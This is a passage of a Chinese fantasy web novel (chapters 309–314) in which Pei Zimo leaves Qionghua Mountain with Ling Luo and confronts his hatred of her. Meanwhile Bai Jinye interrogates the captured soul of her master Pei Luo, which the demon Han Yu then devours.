“你放心,他不会伤害我的。”裴子墨说着顿了顿,也没有隐瞒,“这么多年,凌幽都不让他来琼华山,如今凌幽撤了阵法,凌珞这一趟来,大概也付出了不少代价。如果我不跟着他回去,他也不会善罢甘休。” 隔了会,她又低声道,“华精玉在寒羽的身上,寒羽如今对左辞的印象很好,之前也打算把华精玉送给左辞,等你好了,拿着华精玉来找我。” 白锦夜微微抿了抿唇,抬眼看着裴子墨像是有很多话要说,可是太过虚弱,又什么都说不出来。 “子墨。”门外传来凌珞的声音,“人已经醒了,是不是该走了?” 裴子墨皱了下眉头,才继续对白锦夜道,“你好好养伤,凌珞能来,就证明路已经通了,等你伤好了,就可以出去了。” 白锦夜点了点头,可抓着裴子墨衣角的手还是没有放开,胸口憋着的话,像是用了很大的力气才说出来,“凌珞……是不是那个人?” 这个问题,他之前就有隐约的猜测,凌珞和裴子墨的关系看起来并不好,两个人像是互相防备,可是若真是敌人的两个人,又怎么会共命? 尤其是现在,裴子墨都说凌珞为了来琼华山一定付出了不小的的代价,那在过去的上千年里,凌珞如果想来,如果愿意付出这样的代价,那应该早就能来了。 可是他一直都没有,偏偏等到了现在,等到裴子墨被困在这的时候,他就来了。 这问题的答案像是已经昭然若揭了。 第309章 你知道我等这一天等了多少年么? 裴子墨看着白锦夜,之前他大概已经寻找放弃了这件事的答案。 但眼下,又像是不知道这个答案绝不会罢休的模样。 裴子墨重新在床边坐下来,开口道,“是,但也不全是。” 白锦夜看着裴子墨,不明白她的意思。 裴子墨轻轻叹了口气,“当年,他一个人在这里百年,心里生了一股执念。这执念若是一直跟着他,他这一世再投胎,便会受这执念影响,无法安稳一生。我把他的这丝执念剥离了出来,可那执念太重,也隐约有了魂魄的模样。” “只不过到底也不是完整的魂魄,即便是投胎转世,婴儿也会早夭。也许这样转世几次,执念消磨得没了,也就散了。可偏偏……那执念被安排到裴黎肚子里的胎儿身上,又碰上了凌幽偏执的想要让他活下来。” 顿了顿,她才补充,“你放心,凌珞早就成亲,也有自己的心上人。凌珞和他终究是不一样的。” 白锦夜微微抿了抿唇,没再说话,但也放开了手。 裴子墨这才重新站起来,抱起桌子上的木匣,出了房间。 凌珞显然已经等得不耐烦,抬手拉住裴子墨的手腕,就要往外走。 “等一下。”裴子墨看着他,“你把出去的路告诉左辞。” “在你跟白锦夜讲我的身世的时候,我已经说过了。”凌珞转头看了她一眼,显然被提起身世由来更是不爽,“我一刻都不想在这里多呆!” 裴子墨只能一边往外走一边看向左辞,“照顾好你家王爷。” 凌珞对着虚空抓了一把,把七杀斩抓在手里,随手挥剑,剑气劈碎了院门,“这破地方,我早晚一把火烧了。” 裴子墨看着凌珞手里的七杀斩,因着这丝执念,凌珞有着几乎全部的记忆,当年七杀斩被她封印,也是凌珞后来去找到的。 所以千年来,七杀斩都是在凌珞的手里,只不过前些年,因为她的安排,辗转落入袁澈手中。 那也只是算凌珞借给袁澈用的。 虽然七杀斩是她所炼,但如今,倒更像是凌珞的东西了。 裴子墨跟着凌珞顺着出路往外走,“你知道我杀了凌幽,我现在从这里出去,他和裴黎不会放过我。” 凌珞转头看了裴子墨一眼,“别拿这种话来搪塞我,他们若是想要你的命,就不会让我进来。” “那你给凌幽什么了?”裴子墨又问。 凌珞沉默了会才道,“血莲。” 裴子墨微微抿起唇,没有说话。 空气静默了半响,凌珞突然轻笑一声,“我与他同宗同源,可我和他又不一样。” 裴子墨抬眼看他,这两句话都是她说的,前一句是对着凌珞说,第二句是对着白锦夜说,但是显然他也听见了,“我说的有错么?” “没错。”凌珞转头看她,“在你心里,我本来就不该活着,当年你把我从他身上剥离出来的时候,就应该直接让我灰飞烟灭,可就因为我是他的一部分,你不忍心亲自动手,大概也没想到会发展至今天。” 他说着话,眼里闪过浓浓的恨意,瞪着裴子墨,像是恨不得杀了她一样。 裴子墨微微拧了下眉,“凌珞……” “人有好有坏,人的本性里也有好有坏,坏的那一部分,就一定要扼杀么?”凌珞眯起眼睛,“你自己身上的恶,你为什么不剥离出来?” “凌珞,你不是恶,你只是一丝不该有的执念。”裴子墨低声解释。 “是,我不该有。”凌珞冷笑一声,停下了脚步,“你知道我等这一天,等了多少年么?等你想起我,等你再宣判一次我的死刑。”他说着把七杀斩递向裴子墨,“那你杀了我,我不该存在,那你杀了我啊!” 裴子墨往后躲了半步,“凌珞你现在发什么疯?” “我发疯?我来救白锦夜才是真的发疯!”凌珞说着继续往前走,“裴子墨,你就护着他吧!” 裴子墨被他拽的一个趔趄,凌珞顿了顿,又放慢了脚步。 随着他的脚步慢下来,裴子墨的也跟着慢下来,甚至停了下来,她抬眼看着凌珞,“你来之前,凌幽说了什么?” “没说什么。”凌珞拧着眉转身看她,“怎么了?” “之前,他不让你来真的只是因为华精玉么?”裴子墨说着摇了摇头,“凌幽恐怕知道了。” “知道?”凌珞眯了眯眼,往裴子墨的身后看了看,“知道我跟那个人有关系?” “也许他认为你就是那个人。”裴子墨的脸色变了变,“他不让你复活的人,可能他认为那个人是我。” “呵。”凌珞轻笑一声,“如果他有这样的猜测,我就告诉他,我不是,白锦夜才是,让他最好赶紧杀了白锦夜!” “凌幽和遁世岛果然还有联系。”裴子墨往出口的方向看去,“这一次他虽然阻拦,但是谈了条件,他也让你来了,可能是他在试探你,凌珞……我们暂时不能出去。” 凌珞皱了下眉头,“出去的路只有一条,他如果堵在那,我们也没什么办法,就算我们不出去,他把出路封上,那就谁都出不去了,怎么,不想让白锦夜出去了?” 裴子墨轻轻叹了一口气,看向凌珞,可是还没说话,就被他打断。 “别以为我会替白锦夜扛下来。”凌珞收回目光,转身继续往前走,“这是你们两个的宿命,你把我从他身上剥离之后,本来就跟我没关系了。裴子墨,我已经护了你这么多年,仁至义尽了。” “你护着他,不想让他再掺杂到这件事上,但是事与愿违,你师父把你送到他身边的时候,就注定有些事是改变不了的。” “是啊。”裴子墨轻声道,“有些事是避不开的。” 两个人一起往外走,谁也没再说话。 出口的光线照过来的时候,凌珞的脚步才停下来。 他看着在远处的出口,开口道,“你知道么?从你要我死的那一刻开始,我就恨你,这千年来,每次想起,我都恨。可是……我也爱你。” 第310章 一起魂飞魄散算了 凌珞说着转过身,看着裴子墨,“但这爱绝对不是来源于我,裴子墨,我是因你而生的执念,可你哪怕从来没有一刻在意过我。” “这一世,我刚找到你的时候,真想直接杀了你,那样我也不用活得这么累。可是……你什么都不记得,你天真的叫我凌珞叔叔,把你手里的糖给我吃。” “你看,你就给我这一点小恩小惠,我便要把我的命给你。” 凌珞抬手看着手心上的红线,“可你长大了,你就开始防备我,哪怕你的记忆没有苏醒,你也防备我,如今……”他轻笑了一声,上前一步,轻轻摩挲着裴子墨的脸颊,“我知道我说这些你也不会在意,毕竟你要护着的人,就只有那么一个。我身为一丝不该有的执念,若是能因为救你们死了,也该荣幸,是么?” “不是,凌珞。”裴子墨皱起眉头,半响才道,“我也是最近才恢复这些记忆,也许很多事跟以前不一样了,这几世的记忆太多,我也有很多没能理清。既然你阴差阳错的活了下来,这也是你的机缘,你不必……再执着于当年的事。你若是觉得当年是我的错,那你……” “你怎么会错呢?”凌珞收回手,整理了下衣摆,“你不会错的,错的,是我让你活下来,我就该为此付出代价。” 说完,他继续迈步往前走。 裴子墨犹豫了下,才跟上去。 不出所料,凌幽和裴黎就站在出口处。 凌幽的气息和之前已经有很大的不同,血莲可以让他的修为再进一步,即便只是魂魄之体,眼下大概也接近了裴黎的状态。 裴黎有些担忧地看过来,眼里都带着几丝犹豫。 凌幽的目光扫过两个人,“怎么,其他人是死了么?” “你把修罗都养的成了人形,其他人是死是活,你心里不该有数么?”裴子墨看着他。 裴子墨因为之前昏迷,脸色还微微有些苍白,显然是受过重伤的模样,凌幽看了她一眼,目光就回到凌珞的身上。 “这血莲你守了这么多年,自己不用,真是……废物。”凌幽轻嗤一声。 凌珞也没理他,只是看向裴黎,“血莲出自圣女一脉,你也应该知道血莲要怎么来用,他若是真的爱你,想要跟你在一起,又怎么会跟别的女子做这种苟且的事?只是为了提升实力?”他说着嗤笑,“早都已经长生不死,提升实力不过是或早或晚的事,就一定要用这样的方法么?” 裴黎轻轻皱了下眉头,目光落在凌幽的身上,她和凌幽分开这么多年,对是不是还能在一起这件事,多少已经看开了,也没什么太大的执念。 所以凌幽为了追求实力的提升做出什么选择,她也没资格置喙。 但是他确实……和她记忆中的不一样了,修罗那种东西,在地狱里吃魂魄,到人间吃人,若是已经养成人形,那不知道养了多少年,吃了多少人。 她轻轻的叹了口气,没有说话。 “珞儿,就算你不愿意承认我这个爹,我也还是把你当成自己的孩子,我不为难你,你走吧。”凌幽又道。 凌珞侧身一步,挡在裴子墨的面前,“我为了来琼华山,养了那么多年的血莲都给你了,现在好不容易把人救出来,你说让我不管,我就不管了?” 凌幽捋了捋袖口,叹了口气,“既然你执意如此,那也不能怪我了。” 显然,他刚才说什么让凌珞走的话,也不过就是客气客气而已。 说完他便抬起手,只是印诀还没捏出来,整个人就已经动不了了,他咬牙切齿地道,“裴黎!” 裴黎没理他,只是看向凌珞,“凌珞,你带着她走吧,当年我没有生下你,但是至今我也不后悔,那时欠你一条命,现在还你了。” 凌珞微微抿了下唇,看着裴黎,半响才冷声道,“你若是现在终于认清他是什么人,那倒也不晚。”说完他抬手拉住裴子墨的胳膊,往旁边走去。 “裴黎,你竟然帮他们!你亲眼看着我被裴子墨杀死,你忘了么?”凌幽试图冲破束缚,但是他即便用了血莲,如今实力和裴黎也还是相差一些,努力了半响,束缚一点变化都没有。 裴子墨转头看了看裴黎,见到裴黎也向她看过来,她轻轻皱了下眉头,嘴唇微微动了动。 裴黎怔了下,但很快就反应过来,对着她点了点头,另外一只手在背后捏了个印诀。 片刻之后,裴子墨和凌珞的身影还没走出他们的视线,凌幽和裴黎两个魂魄之体就感觉到了一丝吸力。 这状态他们也不陌生,当初柳甫就是被这样的吸力带走。 凌珞也停下了脚步,转身看去,微微皱起眉头。 “放心,他们不会有事。”裴子墨看着他们离开的方向,“是裴黎的师叔,他会把他们的魂魄暂时封印,等需要的时候,再放出来。” 凌珞收回目光,“九星灭仙阵,还差我这一个魂魄是吧?” “九星灭仙阵从来都没有完成过。”裴子墨看着凌珞,“一直都是缺一个魂魄。” 凌珞眯着眼,隔了会才想到什么,“你这九星灭仙阵,看着灭的是裴黎,但是其实根本不是是么?裴黎也是九星之一,你这是请君入瓮吧?” 裴子墨收回目光,看向盛京的方向,“凌珞,如果那一天真的到了,如果……这一次能成功,你以后,也可以有自己的人生,不用再活得这么累。” “你也说了如果。”凌珞继续往前走,“我一点都不希望有那么一天,最好你、我、白锦夜一起死了,再也不用纠缠折磨,这一次到了地府,谁都别再投胎,一起去炼魂谷,全都魂飞魄散算了。” 裴子墨看着凌珞的背影,轻轻叹了一口气,没再说话。 “怎么不说了?怎么不护着白锦夜了?”半响没听到裴子墨的声音,凌珞又开口问道。 “我再说下去,要跟你吵架么?”裴子墨拧着眉,知道他是这次跑来救白锦夜心里不爽,也不愿意多说,“再说,你也不过就是说说而已,你如果觉得过过嘴瘾,心里就舒服了,我不和你一般见识。” 凌珞嗤笑一声,这一次也彻底闭上了嘴。 第311章 你师父的师父 白锦夜的伤太重,在这里也不太适合养伤。 等裴子墨给他留下的药用完之后,他跟左辞说了一声,便打算先离开这里。 左辞是同意的,反正寒羽的力气足够,可以一直背着白锦夜。 从琼华山出来,只能是先到山下的西慈县。 西慈县不大,来往的客人也少,客栈的老板还记得左辞,见到白锦夜受了伤,还主动询问了是不是需要帮忙找大夫。 左辞也知道白锦夜这伤找大夫大概也没什么用,就拒绝了老板的好意,一转头便见到寒羽在盯着老板流口水。 这些天寒羽他们在一起,他都忘了这货是会吃人的,于是赶紧让老板准备一桌上好的酒肉,就赶紧让寒羽背着白锦夜进了房间。 好在老板手脚利落,饭菜很快就备好了,不然左辞估摸着寒羽就要跑出去吃人了。 只不过一大桌饭菜,他还没吃几口,就全都让寒羽一扫而空,盘子都舔干净了还一副意犹未尽的模样,于是左辞让老板照着刚才的菜式再来一份。 老板也有点懵,十几个菜,怎么瞬间就只剩下空盘子了?三个大男人,就算吃得再多,也不至于这瞬间吃的骨头都不吐吧? 左辞看着老板质疑的目光也懒得解释,但是也知道不能在这里呆太久,不然寒羽可能就要被整个西慈县的人围观。 白锦夜能坐起来的时候,就问了寒羽关于华精玉的事。 寒羽捂着胸口连连摇头,说自己什么都不知道。 左辞有点无奈地翻了个白眼,低声哄他,“就是你那天要送我的那块绿色石头。” 寒羽当然知道白锦夜问的是什么,但是那可是宝贝,他本来是要送给左辞的,怎么能轻易的给别人?于是他又摇了摇头。 左辞皱起眉,“你不是说了要送给我?送给我就是我的了对不对?那我现在让你把它拿出来有什么不对么?” 寒羽翻着白眼想了半天,觉得左辞说的好像没错,这才慢悠悠地拿出华精玉。 白锦夜便要伸手接过来。 “王爷,不行。”左辞赶紧拦住他,“这东西有点邪性,我那天碰了一下,要不是有王妃在,我就死了。” “没事。”白锦夜还是接了过来。 左辞看着白锦夜一点事都没有,忍不住无声地叹了口气,搞了半天,到最后只有他一个人是个弱鸡。 见白锦夜低头查看着华精玉,左辞一把搂住寒羽的脖子,揽着他往旁边走,“东西给了王爷,跟给了我是一样的,你对我的好我肯定知道,你放心,我也不会让你饿着的。” 寒羽还是有些不舍地转头看着白锦夜手里的华精玉,然后就被左辞拉了出去。 白锦夜拿着华精玉,这东西乍看起来和其他的玉石倒也没什么区别,不过这绿色东西,在地府确实少见,若是真的有一整座山的华精玉,那在地府也算是一大奇观了。 他正看着,腰侧突然感觉到一阵震动。 他拧了拧眉,摸过去才发现是裴子墨给他的那块本命玉佩。 正把玉佩拿在手里看着,突然一道魂魄从玉佩上剥离开,那魂魄站在床前,茫然地看着周围,像是好半天神智才回归。 眼前这魂魄也不陌生,白锦夜眯眼看着她,他早就见过她,只不过那会还不能确认她的身份,如今倒是可以确定下来,她就是裴子墨的师父——裴洛。 之前裴子墨已经跟他说过,她在琼华山的时候遇到过裴洛,裴洛死在她血莲的反击之下。 他本来还以为裴洛的魂魄也早就入了地府了,没想到会被裴子墨封在这块玉佩上。 如今大概是因为华精玉,让裴洛的魂魄得以挣脱。 裴洛眯眼盯着白锦夜半响,才冷哼一声,“我那好徒弟呢?” 白锦夜微微拧了下眉,裴子墨没有跟他说过裴洛魂魄的事情,但他也没有什么拘住魂魄的方法,如今裴洛既然出来了,那也只能算是她的机缘,“你既然死了,就该去地府,我可以送你去地府。” “去地府?”裴洛轻笑一声,“去地府之前,我也得找我那好徒弟先报仇不是么?”她见白锦夜不愿说出裴子墨的下落,也隐约能猜到什么,“你可别以为我那徒弟是什么好人,我把她从小养大,她尚且如此对我,你对她来说,更算不上什么,你还活着,只能证明你对她还有利用价值。” “你这是在挑拨离间?”白锦夜有些无奈地摇了摇头。 “好坏不分,活着也没用。不是说冥尸不会死么?我倒要看看,没有魂魄的冥尸,是不是还能活着。”裴洛说着就伸手向白锦夜抓去。 左辞带着寒羽回了房间之后,关于不能吃人这件事,又苦口婆心的给他讲了一遍。 这几天这件事左辞是已经讲的口干舌燥,也不知道寒羽有没有听进去。 甚至于每天晚上睡觉的时候,左辞都拿绳子把自己和寒羽的手腕绑在一起,就怕半夜他睡着了,寒羽跑出去“找吃的”。 正讲着,寒羽突然站起来,眼睛一亮就冲出了房间。 左辞吓坏了,赶紧跟了上去。 寒羽径直冲进了白锦夜的房间,一把就捏住了裴洛的脖子。 左辞虽然跟裴子墨学了些术法,但是到底也没开天眼,所以什么都看不见,只能看见寒羽举着一只手,像是在抓着什么。 白锦夜其实也没有打算坐以待毙,裴洛敢对他动手,他肯定是要放出黄泉路的,反正人死了本来就该去地府,他也就正好送裴洛应该去的地方。 只不过没想到黄泉路还没放出来,寒羽就抓住了裴洛。 “不能吃人,但是这个可以吃吧?”寒羽看向左辞问道。 左辞有些茫然,“吃什么?” “那是你师父的师父的魂魄。”白锦夜看着左辞开口道。 “师父的师父?那不就是我太师父?”左辞摸了摸下巴。 寒羽听着这个称呼,隐约的就觉得这好像又不太能吃了的样子。 “那怎么办?”左辞转头看向白锦夜,“吃了还是放了?” 白锦夜微微眯了下眼,之前他因为拘不了魂魄,才想着送裴洛去地府,如今寒羽既然能抓住这魂魄,而且裴洛似乎连防抗之力都没有,那自然也就不用送去地府了。 而且裴子墨曾经说过,她从裴洛的口中问到过一些事情,那么这些事,裴洛也未必不能再对他说一遍。 第312章 你被我那徒弟骗的可真是惨啊 裴洛手上捏了几个印诀,打在寒羽的身上。 但是寒羽一点反应都没有,只是眼巴巴地看着左辞,就等着左辞说可以吃,他瞬间就要把手里的魂魄塞到嘴里。 裴洛也有点惊诧,她看不出面前的人有什么异样,但是无论术法多高,也不能毫不抵抗就这么轻易地化解她的印诀。 看着白锦夜的表情,左辞就明白了,对着寒羽摇了摇头。 寒羽有些丧气,眼巴巴的表情变成了凶狠,他这表情也不舍得对左辞用,便看向裴洛,“你再敢给我挠痒痒,我就给你扔进炼化池,化了你这一身术法,看你还拿什么给我挠痒痒。” 裴洛一怔,修习术法的人,自然都知道炼化池,魂魄到了地府,如果不是有莫大的机缘,一旦走上转生的流程,都要先到炼化池里洗去一身术法修为。 “我有些话想问你。”白锦夜开口道,“如果你如实说,我就送你去地府,起码还能投胎,如果你敢骗我,那你就只会成为别人的腹中之物。” 寒羽闻言眼睛一亮,所以只要这个人不好好说话,他还是有机会吃掉她的,于是他掐着裴洛的脖子往前一松,“听到没?快点回答。” 也就好在裴洛现在是魂魄状态,不需要呼吸,不然被寒羽这么大力的掐着,脖子都快断了,也早就没气了。 白锦夜自然也不会一开始就问些自己什么都不知道的,打算先问几个他知道答案的问题,测试一下裴洛的态度,想了会,便先问道,“你是怎么死的?” “不是跟你说了么?被我那好徒弟杀死的。”裴洛眯眼睛道。 “我是说,你既然是她师父,术法应该比她厉害的多,怎么可能被你徒弟反杀?”白锦夜又问。 裴洛沉默了会,才道,“我一直也是这么认为的,可我没想到,我那个好徒弟一直藏拙。当时在月城,她落入我的攻击之中,几乎没什么反抗就被我打落悬崖,我也一直以为我这徒弟的术法远不如我。” “她又在别人的身上重生,那身体可不是从小锻炼,也没有淬体,术法打了折扣,更不可能是我的对手,没想到……”她说着冷笑一声,“我在她手下,竟然连反击之力都没有。” 白锦夜拧着眉,“眼下你是不是魂飞魄散,不过就是我一句话的事,还不说实话么?” “哦?”裴洛挑了挑眉,“我哪句不是实话?” “子墨真的能打得你无法还击么?”白锦夜盯着她。 “呵呵。”裴洛先是轻笑出声,随即笑声越来越大,最后甚至变成了刺耳的狂笑。 左辞一开始什么都看不见,也只能听见白锦夜一个人说话,但是这会他都隐约的感觉到哪里不太对了,他往白锦夜的身边凑了凑,警惕地盯着寒羽手里抓着的“空气”。 “闭嘴,吵死了!”寒羽说着抓着裴洛的魂魄用力地晃了几下,“你再笑我就弄死你!” 裴洛笑得像是没了力气,最后才道,“你被我那徒弟骗的可真是惨啊。” “你没有重伤她?”白锦夜又问。 “重伤?”裴洛微微思索了一会,“哦,看样子她离开琼华山的时候,受了重伤。虽然我不知道是谁做的,但是可惜了,她怎么没跟我一起死在琼华山呢?” 白锦夜蹙起眉,隔了会才问,“那你为什么要让她重生在裴清歌的身上?” 说到这个,裴洛的神色微微有些复杂,“那是少祀官让我做的,他说若是要激发你的潜能,必须失去至亲至爱之人,若是裴子墨以自己的身体到了你身边,将来死的可能就是她。他说还不能让裴子墨死,所以需要找一具尸体让她重生。” “但是这件事,裴子墨一开始是不知道的。”她说着手握成了拳,“上百年来,圣女一脉都在为国君、为少祀官办事,可他们什么时候在乎过圣女的死活?一旦圣女有了传承,上一任圣女就会被派出去做极危险的事情,若是死了,也不过就是得他们一句——为北冥国而死,就是圣女的最高荣耀。” “呵,那裴子墨凭什么能得少祀官另眼相待?我不过刚刚选出裴子墨接任圣女,少祀官就派我离开北冥国,当时圣女的传承我都还没来得及交给裴子墨,我也就以为少祀官交给我的事情不会太难,不然我若是死了,圣女的传承不就断了么?” 说到这,裴洛的神情开始变得狰狞,“可我没想到,少祀官大概也根本不需要我活着了,我到洪都办事之时,要不是我命大,侥幸逃过一劫,当时就死在洪都了。我重伤之时,少祀官找到了我,他对我重伤的事不闻不问,仿佛早就在他的意料之中,反倒叮嘱我伤好之后记得给裴子墨铺路。” “那时候我就隐约的知道,我已经是少祀官的弃子了。他能布局,我怎么就不能布局了?我在裴清歌的身体里设下重重禁制,我就想着的裴子墨的魂魄到了她的身体里之后,最好能困死在她的身体里,让她在裴清歌的身体里永不见天日,回不到自己的身体,少祀官也再都找不到她!” “可没想到……”裴洛眯起眼睛,“我那次见到你的之前,发现出现困笼蜮的时候,就知道她的魂魄还是苏醒了,我去见你,故意告诉你她可以逆天改命,也故意说她是这世上为数不多可以逆天改命的人,就是想要利用你,希望你为了让自己活下来,去逼迫她帮你逆天改命。” “以你的聪明,我已经告诉你了,只要你睡觉,就不会出现困笼蜮,你只要一直不睡觉,困笼蜮就会源源不断的出现,以她一个人,不可能处理的过来这么多困笼蜮,而且有的困笼蜮如果没有被及时发现,后续自然还会演变出其他的东西。只要你以此为威胁,她一定会答应你!” “那时候她的魂魄刚苏醒,我看过她处理几个困笼蜮的手法,以我当时对她的了解,术法大概只恢复一成左右,如果帮你逆天改命,就必死无疑!” 第313章 没有利用价值的人只有死路一条 白锦夜微微抿了抿唇,冷声道,“那可是你从小养大的徒弟,就因为你们少祀官偏袒她了一些,你就恨不得要她死?” “你懂什么?你懂什么?”裴洛双手握拳,目眦尽裂,“你根本不懂!就怕万一她魂魄苏醒,我甚至还给她留了话,我让她不要再回北冥国,可她听我的话么?她根本不听!她不还是回去了么?” “我也可以不杀她的啊,只要她听话。她就算不帮你逆天改命,就算不死,她只要乖乖的,老老实实地呆在你身边,不要被任何人发现她的身份,我也可以不杀她的啊!” “但是……就算我想杀她又能怎么样?我不一样杀不了她?我不还是被她杀了!” “可我听说,身上只要有血莲就不会死,你同样是圣女,你的身上没有血莲么?”白锦夜继续问。 裴洛嗤笑一声,“血莲的种子来源于莲池,圣女和国君可以去莲池,但最多是取一些莲池里面的水,对修习术法大有裨益。想要取血莲的种子,却只有少祀官才能取,我们每个人的血莲种子,都是少祀官给我们的。” “起初我也以为每个人的种子都是一样的,后来我才知道,我们的种子,都是假的,只有裴子墨的那颗才是真的!我从来都不知道什么血莲会护主会反击的事情,我只是知道血莲要由人血来喂养,成熟了之后,供养给提供人血的人。” “而北冥国的国君,也世世代代靠控制血莲种子的秘法来控制我们圣女。” 说到这,裴洛的眼里满是愤恨,“养我的血莲的,就是北冥国的上一任国君。任谁不想有一份两情相悦的爱情,可那时北冥国国君有妻有子。更可笑的是,他的妻子就是当年跟我同一批的圣女候选人,因为无法吃苦,自愿退出。以往这些退出的人,因为多少也知道了圣女的秘密,都会被处理掉,可因为她遇到了北冥国国君,两个人相恋,她也就躲过一劫。” “我明明是那一批圣女候选人里的胜利者,可我最后拥有了什么?我根本不想跟国君在一起,我求少祀官,他一定有办法帮我,可他只是冷眼看着我,看着我被国君控制,带走,等我恢复神智的时候……” “那时少祀官说这是我们的命运,我得接受。好,我接受了,可等到了裴子墨呢!我给她种了血莲的种子之后,本想着去找少祀官复命,可却亲耳听到少祀官跟当时的国君袁澈说,让他不准喂养裴子墨的血莲,更不准碰裴子墨,他说他另有用处,作为交换,他把仙器七杀斩借给袁澈,答应在袁澈离世之前,这七杀斩都归袁澈所用。” “袁澈又不傻,他心里可清楚他父王跟我在一起之后,术法虽然有精进,但不多,只不过就是有些强身健体的功效而已,和这个相比,作为仙器的七杀斩,诱惑不是更大么?再说,北冥国上下,没一个人是少祀官的的对手,袁澈还能傻到跟少祀官抢人?” “说什么另有用处,不就是留给自己么?少祀官从来都是一个人,清心寡欲,无论北冥国多少见过他的女子向他表白,他都不为所动。可原来他不是不会心动,只是没遇到那个让他心动的人而已。” 白锦夜看着她,冷笑道,“你这话说的醋意真大,原来一切的起因,都是你喜欢你们少祀官,爱而不得,又不得不跟别人在一起,这些怨念不敢对着少祀官表达,就转移到子墨的身上。” 被白锦夜说中心事,裴洛先是微微窘迫,但又很快恢复常态,“在北冥国,又有几个女子不会对少祀官心动?又有谁不愿意跟更强大的人在一起呢?说什么激发你的潜能需要失去至亲至爱之人,不想让裴子墨真的死掉才在其他人身上重生,还不是少祀官的私心,他不想让你和裴子墨在一起。就算真的迫不得已在一起了,起码那身体不是裴子墨自己。” 白锦夜抬手捋了捋袖口,他大概能猜到,凌珞给其他人的莲花种子,应该跟萧忆翎的那种差不多,养成了可以强身健体,养不成也没有任何影响,“你说袁澈的父王跟你在一起了之后,强身健体,那他现在年纪应该也不会特别大,那他现在人呢?” 裴洛皱了下眉头,才道,“我不知道,反正如果圣女帮着少祀官和国君办事,能侥幸活着回来的话,到了一定的年纪,就会被少祀官带走,国君也一样,没有人知道他们去哪了。虽然一直有一种说法,说他们被少祀官带走传承秘法,将来是可以成仙的,但是我可不信,少祀官连我们的死活都不在乎,还会帮我们成仙?所以八成是死了吧,不然少祀官为什么可以活这么多年呢,说不定就是靠这些人命的滋养才能活下来呢。” “裴子墨在琼华山杀我的时候,术法高强,路数几乎和少祀官如出一辙,显然是少祀官传授的。也就是说,这么多年,在我眼皮子底下,少祀官一直和裴子墨有偷偷的接触,教她术法,当然也不是没有可能做其他的事情。” “你不知道?”白锦夜显然不信。 裴洛没有直接回答,只是反问,“你觉得少祀官这样偏袒她,会让我知道么?” 白锦夜不对她的回答做什么评价,只是继续问,“那你知道,为什么你们少祀官要让子墨来我身边么?” 裴洛垂下眼,“不知道,我只是隐约的听到,说你身上有什么大秘密。在这个世界上,对于少祀官来说,还有什么能值得他大费周章呢?大概就是成仙吧。白锦夜,裴子墨一直在利用你,利用你给她和凌珞的成仙铺路。你看看我,就是你的前车之鉴,没有利用价值的人,最后只有死路一条!” 白锦夜点了点头,“你说的对,没有利用价值的人,只有死路一条。”说完他看向寒羽,“吃了吧。” “不要!”裴洛惊呼,“你不是说我如实告诉你,你就放过我么?你怎么说话不算数?” “我说话当然算数,可你没有说实话啊。”白锦夜说着挥了挥手。 寒羽早就迫不及待了,根本不等裴洛再为自己喊冤,就一口吞下了肚子,一边嚼还一边夸赞白锦夜,“我觉得你说的对,她就是没有一句真话,活该被吃。” 第314章 把凌幽和凌珞都送进地府 白锦夜自然知道,裴洛的话,并不一定是假的,只不过其中加了她自己的猜测和对凌珞及裴子墨的怨恨。 甚至也利用这个,想要挑拨他和裴子墨之间的关系。 但最可怕的,不是一个人一直说假话,而是说的全都是真的,中间却只混进了一句假话。 而这一句假话,往往就会起到很关键的作用。 再说……裴洛想要杀裴子墨的心是真的,就冲这一点,只要有可能,他都不会放裴洛走了。 寒羽吃完了之后,擦了擦嘴,有些意犹未尽地看向左辞。 左辞连连摆手,“不能再吃了。” 寒羽没说话,只是打了一个哈欠,目光一扫,也不管这是白锦夜的房间,走到旁边的躺椅上,躺下就睡了过去了。 “吃完就睡,你是猪么?”左辞跟过去想要把寒羽拽走,可是他这瞬间入睡之后,一下子就睡得很沉,左辞怎么都叫不醒他。 寒羽的呼噜左辞可领教过,就怕吵到正在养伤的白锦夜,他有些无奈地看向白锦夜,“王爷,要不咱们换换房间?” “算了吧。”白锦夜的目光落在寒羽的身上,他这会睡得倒是安稳,也没什么呼噜。 * 白锦夜的伤逐渐的好起来,可寒羽却一直在睡,中间一点醒过来的迹象都没有。 一开始的几天,左辞觉得耳根子清静了,开心坏了,而且再也没有人吃那么多东西惹来老板异样的目光。 但几天之后,左辞就开始急了,他一会去检查寒羽一下,一会去检查寒羽一下。 虽然醒着的时候要防止他吃人,但是这么一直睡着他又担心。 实在是没办法了,他只能问白锦夜。 白锦夜一开始也想不通,但是后来想起寒羽是吃了裴洛的魂魄之后才陷入的沉睡,难道跟这有关系? 不过修罗一族的情况他们也不是很了解,目前也就只能推测是跟吃了裴洛的魂魄有关系。 白锦夜的伤势逐渐好起来,他也答应左辞,如果再过几天,寒羽的情况还不见好转的话,他就去地府找人问一下,那边的人对修罗的情况总要比他们熟悉得多。 好在第十三天的时候,寒羽醒了过来,一脸神清气爽的模样,和左辞又要照顾白锦夜又要担心他、眼下都是重重的黑眼圈完全不同,他抓着左辞的肩膀左看右看半响,最后叹了一口气,“瞧瞧我这两天只是睡了一小会,你怎么就变成这副样子?” 左辞拍开他的手,感觉到自己的一片好心喂了驴肝肺,“你只是睡了一小会?你差点睡死!” 寒羽眨巴着眼睛想了一会,“可是我已经活了上千岁,这才睡了几天,不就是一小会么?有什么不对么?” 左辞懒得搭理他,直接回房间去补觉了。 白锦夜抬眼看着寒羽,感觉他外貌虽然没什么变化,但气息却有一些改变,“你吃魂魄,有助于你修炼?” 寒羽先是点点头,又赶紧摇了摇头,然后补充道,“不知道,我们修罗从小就是以魂魄为生,我已经好多年没有吃到过魂魄了。” 白锦夜轻声笑了笑,多少还是有点傻,“所以吃魂魄修炼是你们修罗一族的秘密?如果吃了有术法的人的魂魄,需要很长时间来消化,而你们消化的方式就是睡觉,是么?” 寒羽别开眼睛,看着棚顶,不说话。 但表情显然是白锦夜说的没有错。 白锦夜也没再问下去,只是说,“我的伤基本都好了,我打算去找裴子墨了。” 寒羽想了会,才意识到什么,“那你什么时候送我去地府?” “我暂时没有办法送你去地府。”白锦夜顿了顿,“我自己去没问题,但是带人去的方法我还不知道,也许裴子墨会知道,你可以考虑下跟我一起去找她。” 寒羽拧着眉,盯着白锦夜看了很久,虽然他脑子有点不太灵光,但隐约的也知道往返于地府是需要特殊的能力。 “或者你想想,当初带你离开地府的人,是怎么把你带出来的,说不定我们可以如法炮制。”白锦夜问道。 